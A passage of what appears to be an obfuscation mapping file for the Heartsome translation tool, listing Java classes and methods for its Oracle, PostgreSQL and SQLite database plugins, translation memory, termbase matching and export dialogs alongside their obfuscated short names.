insertTU(int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTU + java.lang.String insertTextData(java.lang.String,int,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTextData + void insertTMXProp(java.util.Map) -> insertTMXProp + void insertTMXNote(java.util.Hashtable) -> insertTMXNote + void insertTMXExtra(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> insertTMXExtra + int insertBMartifHeader(java.lang.String,java.lang.String) -> insertBMartifHeader + void insertBAttribute(java.util.Map,java.lang.String,int) -> insertBAttribute + int insertBRefobjectlist(java.lang.String,java.lang.String,int) -> insertBRefobjectlist + int insertBTermentry(java.lang.String,java.lang.String,int) -> insertBTermentry + void start() -> start + java.util.List getCandidatesTextDataPks4Oracle(java.lang.String,int,int[]) -> b + java.util.Vector findMatch_1(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean) -> findMatch_1 + void fuzzySearch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.FuzzySearchResults,int) -> fuzzySearch + void translationUnitAnalysis(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.TranslationUnitAnalysisResults,int) -> translationUnitAnalysis + java.lang.String generationExportTMXFilter(java.lang.String,net.heartsome.cat.database.bean.ExportFilterBean) -> generationExportTMXFilter + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql +net.heartsome.cat.database.oracle.resource.Messages -> net.heartsome.cat.database.oracle.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.postgresql.Activator -> net.heartsome.cat.database.postgresql.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.postgresql.Activator plugin -> nK + org.osgi.framework.ServiceRegistration postgresqlServiceRegistration -> nL + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.postgresql.Activator getDefault() -> dh +net.heartsome.cat.database.postgresql.DbServiceProviderImpl -> net.heartsome.cat.database.postgresql.b: + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance +net.heartsome.cat.database.postgresql.MetaDataImpl -> net.heartsome.cat.database.postgresql.c: + boolean dataPathSupported() -> dataPathSupported + boolean instanceSupported() -> instanceSupported + void setDatabaseName(java.lang.String) -> setDatabaseName +net.heartsome.cat.database.postgresql.OperateDBImpl -> net.heartsome.cat.database.postgresql.d: + org.slf4j.Logger logger -> logger + boolean checkDbConnection() -> checkDbConnection + int createDB(java.lang.String,java.util.List,net.heartsome.cat.common.bean.MetaData) -> a + void dropDb(java.lang.String) -> dropDb + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection +net.heartsome.cat.database.postgresql.TMDatabaseImpl -> net.heartsome.cat.database.postgresql.e: + void start() -> start + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql +net.heartsome.cat.database.postgresql.resource.Messages -> net.heartsome.cat.database.postgresql.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.resource.Messages -> net.heartsome.cat.database.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.service.DatabaseService -> net.heartsome.cat.database.service.DatabaseService: + org.slf4j.Logger LOGGER -> LOGGER + int SUCCESS -> SUCCESS + int FAILURE -> FAILURE + int FAILURE_1 -> FAILURE_1 + int FAILURE_2 -> FAILURE_2 + int FAILURE_3 -> FAILURE_3 + int FAILURE_4 -> FAILURE_4 + int CANCEL -> CANCEL + int importTmxWithFile(net.heartsome.cat.common.bean.MetaData,java.lang.String,org.eclipse.core.runtime.IProgressMonitor,int,boolean) -> importTmxWithFile + int importTmxWithString(net.heartsome.cat.common.bean.MetaData,java.lang.String,org.eclipse.core.runtime.IProgressMonitor,int,boolean,java.lang.String) -> importTmxWithString + int importTmxWithString(net.heartsome.cat.database.DBOperator,java.lang.String,org.eclipse.core.runtime.IProgressMonitor,int,boolean,java.lang.String) -> importTmxWithString + int importTbxWithString(java.lang.String,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.database.DBOperator,int,java.lang.String) -> importTbxWithString + int importTbxWithFile(java.lang.String,org.eclipse.core.runtime.IProgressMonitor,net.heartsome.cat.common.bean.MetaData,int) -> importTbxWithFile + net.heartsome.cat.database.DBOperator getDBOperator(net.heartsome.cat.common.bean.MetaData) -> getDBOperator + java.util.List getSystemDbOperaterList() -> getSystemDbOperaterList + java.util.List getSystemSuportDbType() -> getSystemSuportDbType + java.util.Map getSystemSuportDbMetaData() -> getSystemSuportDbMetaData + net.heartsome.cat.database.SystemDBOperator getSysDbOperateByMetaData(net.heartsome.cat.common.bean.MetaData) -> getSysDbOperateByMetaData + java.lang.String executeExport(net.heartsome.cat.document.ExportAbstract,org.eclipse.core.runtime.IProgressMonitor) -> executeExport + void preTrasnlationMatch(net.heartsome.cat.database.DBOperator,java.lang.String,java.lang.String,java.lang.String,int,boolean) -> preTrasnlationMatch +net.heartsome.cat.database.sqlite.Activator -> net.heartsome.cat.database.sqlite.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.sqlite.Activator plugin -> KS + org.osgi.framework.ServiceRegistration sqliteServiceRegistration -> KT + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.sqlite.Activator getDefault() -> gu +net.heartsome.cat.database.sqlite.DbServiceProviderImpl -> net.heartsome.cat.database.sqlite.b: + net.heartsome.cat.database.DBOperator getTmDatabaseInstance() -> getTmDatabaseInstance + net.heartsome.cat.database.SystemDBOperator getOperateDBInstance() -> getOperateDBInstance +net.heartsome.cat.database.sqlite.MetaDataImpl -> net.heartsome.cat.database.sqlite.c: + boolean instanceSupported() -> instanceSupported + boolean portSupported() -> portSupported + boolean serverNameSupported() -> serverNameSupported + boolean passwordSupported() -> passwordSupported + boolean userNameSupported() -> userNameSupported +net.heartsome.cat.database.sqlite.OperateSystemDBImpl -> net.heartsome.cat.database.sqlite.d: + org.slf4j.Logger LOGGER -> LOGGER + java.sql.Connection conn -> nl + int createDB() -> createDB + int createDB(java.util.List,net.heartsome.cat.common.bean.MetaData) -> a + int createSysDb() -> createSysDb + boolean checkDbConnection() -> checkDbConnection + boolean checkDBIsExist(java.lang.String) -> dR + boolean checkSysDb() -> checkSysDb + void addSysDb(java.lang.String,java.lang.String,int) -> addSysDb + void removeSysDb(java.lang.String) -> removeSysDb + java.util.List getSysDbNames(int) -> getSysDbNames + void dropDb(java.lang.String) -> dropDb + boolean checkDbExistOnServer() -> checkDbExistOnServer + java.sql.Connection getConnection(java.lang.String,java.lang.String,java.util.Properties) -> getConnection + void freeConnection(java.sql.Statement,java.sql.Connection) -> a + void createDirs() -> jX +net.heartsome.cat.database.sqlite.SQLiteUtils -> net.heartsome.cat.database.sqlite.g: + java.util.regex.Pattern UPPER -> rY + java.lang.String lowerNonAscii(java.lang.String,java.util.Locale) -> a + void main(java.lang.String[]) -> main +net.heartsome.cat.database.sqlite.TMDatabaseImpl -> net.heartsome.cat.database.sqlite.e: + void start() -> start + void rollBack() -> rollBack + void beginTransaction() -> beginTransaction + void commit() -> commit + void fuzzySearch(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.FuzzySearchResults,int) -> fuzzySearch + java.util.Vector findAllTermsByText(java.lang.String,java.lang.String,java.lang.String) -> findAllTermsByText + void findTrems(java.lang.String,java.lang.String,java.lang.String,java.util.Vector) -> a + java.lang.String replaceTMOrTBConditionSql(java.lang.String,java.lang.String,boolean,boolean,boolean,java.lang.String,java.lang.String[]) -> replaceTMOrTBConditionSql + void translationUnitAnalysis(java.lang.String,java.lang.String,java.lang.String,java.lang.String,int,boolean,int,int,java.lang.String,java.lang.String,boolean,net.heartsome.cat.database.bean.TranslationUnitAnalysisResults,int) -> translationUnitAnalysis + java.util.HashMap getTermBaseResult(java.lang.String,boolean,boolean,boolean,java.lang.String,java.util.List,int) -> getTermBaseResult +net.heartsome.cat.database.sqlite.TMDatabaseImpl$1 -> net.heartsome.cat.database.sqlite.f: + net.heartsome.cat.database.sqlite.TMDatabaseImpl this$0 -> KU + void xFunc() -> xFunc +net.heartsome.cat.database.sqlite.resource.Messages -> net.heartsome.cat.database.sqlite.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.tb.TbDbOperatorManager -> net.heartsome.cat.database.tb.a: + org.slf4j.Logger logger -> logger + org.eclipse.core.resources.IProject currentProj -> nM + net.heartsome.cat.ts.core.file.ProjectConfiger projConfiger -> nN + java.util.List dbOpList -> nO + void setProject(org.eclipse.core.resources.IProject) -> setProject + void handProjectConfigChangedEvent() -> handProjectConfigChangedEvent + void loadTmDbConn() -> di + void releaseTmDbConn() -> dj + void clearResource() -> clearResource + java.util.List getDbOperatorList() -> dk +net.heartsome.cat.database.tb.TbParameters -> net.heartsome.cat.database.tb.b: + org.eclipse.jface.preference.IPreferenceStore ps -> nP + int tbUpdateStrategy -> nQ + net.heartsome.cat.database.tb.TbParameters instance -> nR + net.heartsome.cat.database.tb.TbParameters getInstance() -> dl + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange + void loadPerference() -> dm + int getTbUpdateStrategy() -> dn +net.heartsome.cat.database.tb.importer.TbImporter -> net.heartsome.cat.database.tb.importer.a: + org.slf4j.Logger logger -> logger + net.heartsome.cat.ts.core.file.ProjectConfiger projConfiger -> nN + org.eclipse.core.resources.IProject currentProj -> nM + net.heartsome.cat.database.DBOperator dbOp -> nS + net.heartsome.cat.database.tb.TbParameters tbParas -> nT + boolean checkImporter() -> checkImporter + void setProject(org.eclipse.core.resources.IProject) -> setProject + void handProjectConfigChangedEvent() -> handProjectConfigChangedEvent + void loadTmDbConn() -> di + void releaseTmDbConn() -> dj + int executeImport(java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> executeImport + void clearResources() -> clearResources +net.heartsome.cat.database.tb.match.TbMatch -> net.heartsome.cat.database.tb.match.a: + net.heartsome.cat.database.tb.TbDbOperatorManager termDbOpManager -> nU + void setProject(org.eclipse.core.resources.IProject) -> setProject + java.util.Vector getTransUnitTerms() -> getTransUnitTerms + void cleanTerms(java.lang.String,java.lang.String,java.util.Vector,boolean) -> a + java.util.Vector buildWordList(java.lang.String,java.lang.String) -> x + boolean termAnalysis(java.util.Vector,java.util.Vector) -> b + java.util.Vector sortTerms(java.util.Vector,java.lang.String) -> a + void clearResources() -> clearResources + void resetCleanTerms(java.util.Vector) -> a + java.lang.String resetCleanString(java.lang.String) -> cc + boolean checkTbMatcher(org.eclipse.core.resources.IProject) -> checkTbMatcher + void doWithQueryResultsCaseSensitive(java.util.Vector,java.lang.String) -> b +net.heartsome.cat.database.tb.resource.Messages -> net.heartsome.cat.database.tb.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.tm.TmDbOperatorManager -> net.heartsome.cat.database.tm.a: + org.slf4j.Logger logger -> logger + org.eclipse.core.resources.IProject currentProj -> nM + net.heartsome.cat.ts.core.file.ProjectConfiger projConfiger -> nN + java.util.List dbOpList -> nO + java.lang.String defaultDbInfo -> nV + void setProject(org.eclipse.core.resources.IProject) -> setProject + org.eclipse.core.resources.IProject getProject() -> getProject + void handProjectConfigChangedEvent() -> handProjectConfigChangedEvent + void loadTmDbConn() -> di + void releaseTmDbConn() -> dj + java.util.List getDbOperatorList() -> dk + void clearResources() -> clearResources + java.lang.String getDefaultDbName() -> do +net.heartsome.cat.database.tm.TmTransParamsBean -> net.heartsome.cat.database.tm.b: + int maxMatchSize -> nW + int contextSize -> nX + int minSimilarity -> nY + int tagPenalty -> LH + boolean isCaseSensitive -> isCaseSensitive + boolean isIgnoreTag -> nZ + int tmUpdateStrategy -> oa + org.eclipse.jface.preference.IPreferenceStore preferenceStore -> gH + int matchSortStrategry -> ob + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange + void loadPreference() -> dp + int getMaxMatchSize() -> getMaxMatchSize + void setMaxMatchSize(int) -> h + int getContextSize() -> getContextSize + void setContextSize(int) -> setContextSize + int getMinSimilarity() -> dq + void setMinSimilarity(int) -> i + boolean isCaseSensitive() -> isCaseSensitive + void setCaseSensitive(boolean) -> setCaseSensitive + boolean isIgnoreTag() -> isIgnoreTag + void setIgnoreTaget(boolean) -> k + int getTmUpdateStrategy() -> dr + void setTmUpdateStrategy(int) -> j + void setIgnoreTag(boolean) -> l + void propertyChange(org.eclipse.jface.util.PropertyChangeEvent) -> propertyChange + int getMatchSortStrategry() -> ds + int getTagPenalty() -> getTagPenalty + void setTagPenalty(int) -> ab + void setMatchSortStrategry(int) -> k + void clearResources() -> clearResources +net.heartsome.cat.database.tm.importer.TmImporter -> net.heartsome.cat.database.tm.importer.a: + org.slf4j.Logger logger -> logger + net.heartsome.cat.ts.core.file.ProjectConfiger projConfiger -> nN + org.eclipse.core.resources.IProject currentProj -> nM + net.heartsome.cat.database.DBOperator dbOp -> nS + net.heartsome.cat.database.tm.TmTransParamsBean transParameters -> oc + int executeImport(java.lang.String,java.lang.String,org.eclipse.core.runtime.IProgressMonitor) -> executeImport + void setProject(org.eclipse.core.resources.IProject) -> setProject + void handProjectConfigChangedEvent() -> handProjectConfigChangedEvent + void releaseTmDbConn() -> dj + void loadTmDbConn() -> di + void clearResources() -> clearResources + int getContextSize() -> getContextSize + boolean checkImporter() -> checkImporter +net.heartsome.cat.database.tm.match.TmMatcher -> net.heartsome.cat.database.tm.match.a: + net.heartsome.cat.database.tm.TmDbOperatorManager tmDbOperatorManager -> od + net.heartsome.cat.database.tm.TmTransParamsBean transParameters -> oc + boolean checkTmMatcher(org.eclipse.core.resources.IProject) -> checkTmMatcher + void setProject(org.eclipse.core.resources.IProject) -> setProject + int getMaxMatchSize() -> getMaxMatchSize + int getTagPenalty() -> getTagPenalty + java.util.Vector findMatch() -> findMatch + java.util.List fuzzySearch() -> fuzzySearch + java.util.List translationUnitAnalysis() -> translationUnitAnalysis + void checkMaxMatchSize(java.util.List) -> C + int getContextSize() -> getContextSize + void clearResource() -> clearResource + void clearDbResource() -> clearDbResource + void setCustomeMatchParameters(int,boolean,int,boolean,int,int) -> setCustomeMatchParameters + void setCustomeMatchParameters(int,int) -> setCustomeMatchParameters + boolean isIgnoreTag() -> isIgnoreTag + int getMinMatchQuality() -> getMinMatchQuality + void deleteFuzzyResult(net.heartsome.cat.common.bean.FuzzySearchResult) -> deleteFuzzyResult + void updateFuzzyResult(net.heartsome.cat.common.bean.FuzzySearchResult) -> updateFuzzyResult + void saveTuv(net.heartsome.cat.database.DBOperator,int,net.heartsome.cat.common.bean.TmxSegement,java.lang.String,java.lang.String) -> a + net.heartsome.cat.database.tm.TmTransParamsBean access$0(net.heartsome.cat.database.tm.match.TmMatcher) -> a + net.heartsome.cat.database.tm.TmDbOperatorManager access$1(net.heartsome.cat.database.tm.match.TmMatcher) -> b +net.heartsome.cat.database.tm.match.TmMatcher$FindMatchComparator -> net.heartsome.cat.database.tm.match.b: + int matchSortStrategry -> ob + net.heartsome.cat.database.tm.match.TmMatcher this$0 -> oe + int compare(java.util.Hashtable,java.util.Hashtable) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.database.tm.resource.Messages -> net.heartsome.cat.database.tm.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.tmx.ConcordanceBean -> net.heartsome.cat.database.tmx.ConcordanceBean: + java.lang.Integer id -> of + java.lang.String creationId -> oi + java.lang.String creationDate -> creationDate + java.lang.String changeId -> oj + java.lang.String changeDate -> ok + boolean blnIsFlag -> ol + java.util.List languageList -> om + java.util.List attributeList -> LM + java.lang.Integer getId() -> getId + void setId(java.lang.Integer) -> setId + java.lang.String getCreationId() -> getCreationId + void setCreationId(java.lang.String) -> setCreationId + java.lang.String getCreationDate() -> getCreationDate + void setCreationDate(java.lang.String) -> setCreationDate + java.lang.String getChangeId() -> getChangeId + void setChangeId(java.lang.String) -> setChangeId + java.lang.String getChangeDate() -> getChangeDate + void setChangeDate(java.lang.String) -> setChangeDate + java.util.List getLanguageList() -> getLanguageList + void setLanguageList(java.util.List) -> setLanguageList + boolean isBlnIsFlag() -> isBlnIsFlag + void setBlnIsFlag(boolean) -> setBlnIsFlag + java.util.List getAttributeList() -> getAttributeList + void setAttributeList(java.util.List) -> setAttributeList +net.heartsome.cat.database.tmx.LanguageTMX -> net.heartsome.cat.database.tmx.LanguageTMX: + java.lang.String languageCode -> on + java.lang.String text -> text + java.lang.String getLanguageCode() -> getLanguageCode + void setLanguageCode(java.lang.String) -> setLanguageCode + java.lang.String getText() -> getText + void setText(java.lang.String) -> setText +net.heartsome.cat.database.ui.Activator -> net.heartsome.cat.database.ui.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + org.osgi.framework.BundleContext context -> context + net.heartsome.cat.database.ui.Activator plugin -> oo + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.ui.Activator getDefault() -> dt + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.database.ui.bean.DatabaseManagerDbListBean -> net.heartsome.cat.database.ui.bean.DatabaseManagerDbListBean: + java.lang.String index -> index + java.lang.String dbName -> dbName + java.lang.String langs -> langs + java.beans.PropertyChangeSupport propertyChangeSupport -> propertyChangeSupport + java.lang.String getIndex() -> getIndex + void setIndex(java.lang.String) -> setIndex + java.lang.String getDbName() -> getDbName + void setDbName(java.lang.String) -> setDbName + java.lang.String getLangs() -> getLangs + void setLangs(java.lang.String) -> setLangs + void propertyChange(java.beans.PropertyChangeEvent) -> propertyChange + void addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) -> addPropertyChangeListener + void removePropertyChangeListener(java.beans.PropertyChangeListener) -> removePropertyChangeListener +net.heartsome.cat.database.ui.core.DatabaseConfiger -> net.heartsome.cat.database.ui.core.DatabaseConfiger: + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + java.io.File serverConfigFile -> op + com.ximpleware.AutoPilot ap -> m + org.slf4j.Logger logger -> logger + void initResource() -> initResource + java.lang.String checkConfigDirectory(java.lang.String) -> cd + void updateServerConfigById(java.lang.String,net.heartsome.cat.common.bean.DatabaseModelBean) -> updateServerConfigById + void deleteServerById(java.lang.String) -> deleteServerById + void addServerConfig(net.heartsome.cat.common.bean.DatabaseModelBean) -> addServerConfig + java.util.Map getAllServerConfig() -> getAllServerConfig + java.util.List getServersConfigByType(java.lang.String) -> getServersConfigByType + java.lang.String generateServerNode(java.lang.String,net.heartsome.cat.common.bean.DatabaseModelBean) -> a + java.lang.String generateServerId() -> generateServerId + java.lang.String existServer(java.lang.String) -> ce + java.lang.String isServerExist(net.heartsome.cat.common.bean.DatabaseModelBean,net.heartsome.cat.common.bean.MetaData) -> isServerExist + boolean saveToFile(com.ximpleware.XMLModifier,java.io.File) -> a +net.heartsome.cat.database.ui.core.DbValidator -> net.heartsome.cat.database.ui.core.DbValidator: + java.lang.String valiateDbName(java.lang.String) -> valiateDbName + void main(java.lang.String[]) -> main +net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger -> net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger: + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + java.io.File filterConfigFile -> oq + com.ximpleware.AutoPilot ap -> m + org.slf4j.Logger logger -> logger + void initResource() -> initResource + java.lang.String checkConfigDirectory(java.lang.String) -> cd + void saveFilterRule(net.heartsome.cat.database.bean.ExportFilterBean) -> saveFilterRule + boolean isFilterNameExist(java.lang.String,java.lang.String) -> isFilterNameExist + java.util.List getFilterRule(java.lang.String) -> getFilterRule + void deleteFilterRuleByName(java.lang.String,java.lang.String) -> deleteFilterRuleByName + java.lang.String generateContent(net.heartsome.cat.database.bean.ExportFilterBean) -> a + boolean saveToFile(com.ximpleware.XMLModifier,java.io.File) -> a +net.heartsome.cat.database.ui.core.ImageConstants -> net.heartsome.cat.database.ui.core.ImageConstants: + java.lang.String ORACLE -> ORACLE + java.lang.String MYSQL -> MYSQL + java.lang.String POSTGRESQL -> POSTGRESQL + java.lang.String SQLSERVER -> SQLSERVER + java.lang.String INTERNALDB -> INTERNALDB + java.lang.String IP -> IP + java.lang.String CHECKED -> CHECKED + java.lang.String UNCHECKED -> UNCHECKED +net.heartsome.cat.database.ui.dialog.ExportFilterComposite -> net.heartsome.cat.database.ui.dialog.ExportFilterComposite: + net.heartsome.cat.database.bean.ExportFilterComponentBean baseDataBean -> or + java.lang.String[] filterNames -> os + org.eclipse.swt.widgets.Control valueText -> ot + org.eclipse.jface.viewers.ComboViewer conditionComboViewer -> ou + org.eclipse.jface.viewers.ComboViewer opratorComboViewer -> ov + org.eclipse.swt.widgets.Button addButton -> ow + org.eclipse.swt.widgets.Button deleteButton -> ox + org.eclipse.swt.widgets.Composite dynaComposite -> oy + java.lang.String ruleType -> oz + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + void addComponent(org.eclipse.swt.widgets.Composite,net.heartsome.cat.database.bean.ExportFilterComponentBean) -> addComponent + void initData() -> z + void createContent() -> createContent + void handlerFilterChangedEvent() -> dw + void setAddButtonEnabled(boolean) -> setAddButtonEnabled + void setDeleteButtonEnabled(boolean) -> setDeleteButtonEnabled + net.heartsome.cat.database.bean.ExportFilterComponentBean getValue() -> getValue + net.heartsome.cat.database.bean.ExportFilterComponentBean access$0(net.heartsome.cat.database.ui.dialog.ExportFilterComposite) -> a + void access$1(net.heartsome.cat.database.ui.dialog.ExportFilterComposite) -> b + org.eclipse.jface.viewers.ComboViewer access$2(net.heartsome.cat.database.ui.dialog.ExportFilterComposite) -> c +net.heartsome.cat.database.ui.dialog.ExportFilterComposite$1 -> net.heartsome.cat.database.ui.dialog.ExportFilterComposite$1: + net.heartsome.cat.database.ui.dialog.ExportFilterComposite this$0 -> oA + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.dialog.ExportFilterComposite$2 -> net.heartsome.cat.database.ui.dialog.ExportFilterComposite$2: + net.heartsome.cat.database.ui.dialog.ExportFilterComposite this$0 -> oA + void selectionChanged(org.eclipse.jface.viewers.SelectionChangedEvent) -> selectionChanged +net.heartsome.cat.database.ui.dialog.ExportFilterSettingDialog -> net.heartsome.cat.database.ui.dialog.ExportFilterSettingDialog: + org.slf4j.Logger logger -> logger + org.eclipse.swt.widgets.Text filterNameText -> oB + org.eclipse.swt.widgets.Composite dynaComposite -> oy + org.eclipse.swt.widgets.Button isAllCbtn -> oC + org.eclipse.swt.widgets.Button isAnyCbtn -> oD + java.lang.String ruleType -> oz + net.heartsome.cat.database.bean.ExportFilterBean currentFilter -> oE + net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger filterStore -> oF + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + boolean isResizable() -> isResizable + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void initData() -> z + void okPressed() -> okPressed + net.heartsome.cat.database.bean.ExportFilterBean getSettingResult() -> getSettingResult + void setCurrentFilter(net.heartsome.cat.database.bean.ExportFilterBean) -> setCurrentFilter + java.lang.String getRuleType() -> getRuleType + void setFilterStore(net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger) -> setFilterStore + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize +net.heartsome.cat.database.ui.resource.Messages -> net.heartsome.cat.database.ui.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle RESOURCE_BUNDLE -> cZ + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.database.ui.tb.Activator -> net.heartsome.cat.database.ui.tb.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.database.ui.tb.Activator plugin -> oG + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.database.ui.tb.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.database.ui.tb.ImageConstants -> net.heartsome.cat.database.ui.tb.ImageConstants: + java.lang.String CHECKED -> CHECKED + java.lang.String UNCHECKED -> UNCHECKED + java.lang.String CONCORDANCE_SELECT_LANG -> CONCORDANCE_SELECT_LANG + java.lang.String ORACLE -> ORACLE + java.lang.String MYSQL -> MYSQL + java.lang.String POSTGRESQL -> POSTGRESQL + java.lang.String SQLSERVER -> SQLSERVER + java.lang.String INTERNALDB -> INTERNALDB + java.lang.String IP -> IP + java.lang.String SQLITE -> SQLITE +net.heartsome.cat.database.ui.tb.Utils -> net.heartsome.cat.database.ui.tb.Utils: + org.slf4j.Logger LOGGER -> LOGGER + java.util.Map convertFile2TbModel(java.io.File,boolean) -> convertFile2TbModel +net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog -> net.heartsome.cat.database.ui.tb.dialog.a: + org.slf4j.Logger logger -> logger + org.eclipse.jface.viewers.TableViewer dbListViewer -> oH + org.eclipse.jface.viewers.ListViewer hasSelLangListViewer -> oI + org.eclipse.jface.viewers.ComboViewer srcLangcomboViewer -> oJ + org.eclipse.swt.widgets.Button hasChangedCodingCbtn -> oK + org.eclipse.jface.viewers.ComboViewer encodingComboViewer -> oL + org.eclipse.swt.widgets.Button hasFilterChangedBtn -> oM + org.eclipse.jface.viewers.ComboViewer filterComboViewer -> oN + org.eclipse.swt.widgets.Button filterSettingBtn -> oO + org.eclipse.swt.widgets.Button filterDeleteBtn -> oP + org.eclipse.swt.widgets.Text tbxFileText -> oQ + org.eclipse.swt.widgets.Button browserBtn -> oR + org.eclipse.swt.widgets.Button deleteDbBtn -> oS + java.util.List filterList -> oT + java.util.List dbList -> oU + net.heartsome.cat.database.bean.ExportDatabaseBean currentDatabase -> oV + java.lang.String[] pageCodes -> D + net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger filterStore -> oF + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createHelpControl(org.eclipse.swt.widgets.Composite) -> createHelpControl + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void selectCurrentDb(net.heartsome.cat.database.bean.ExportDatabaseBean) -> a + void filterSetting(net.heartsome.cat.database.bean.ExportFilterBean) -> b + void initFilterStore() -> dx + void loadData() -> dy + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void createColumn(org.eclipse.jface.viewers.TableViewer) -> a + org.eclipse.jface.viewers.TableViewerColumn createTableViewerColumn(org.eclipse.jface.viewers.TableViewer,java.lang.String,int,int) -> a + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void okPressed() -> okPressed + void access$0(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog,net.heartsome.cat.database.bean.ExportDatabaseBean) -> a + void access$1(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> a + net.heartsome.cat.database.bean.ExportDatabaseBean access$2(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> b + org.eclipse.jface.viewers.ComboViewer access$3(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> c + java.util.List access$4(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> d + org.eclipse.jface.viewers.TableViewer access$5(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> e + org.eclipse.swt.widgets.Button access$6(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> f + org.eclipse.swt.widgets.Button access$7(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> g + void access$8(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog,net.heartsome.cat.database.bean.ExportDatabaseBean) -> b + org.eclipse.jface.viewers.ComboViewer access$9(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> h + org.eclipse.swt.widgets.Button access$10(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> i + org.eclipse.jface.viewers.ComboViewer access$11(net.heartsome.cat.database.ui.tb.dialog.ExportTbxDialog) -> j + org.eclipse.swt.widgets.Button 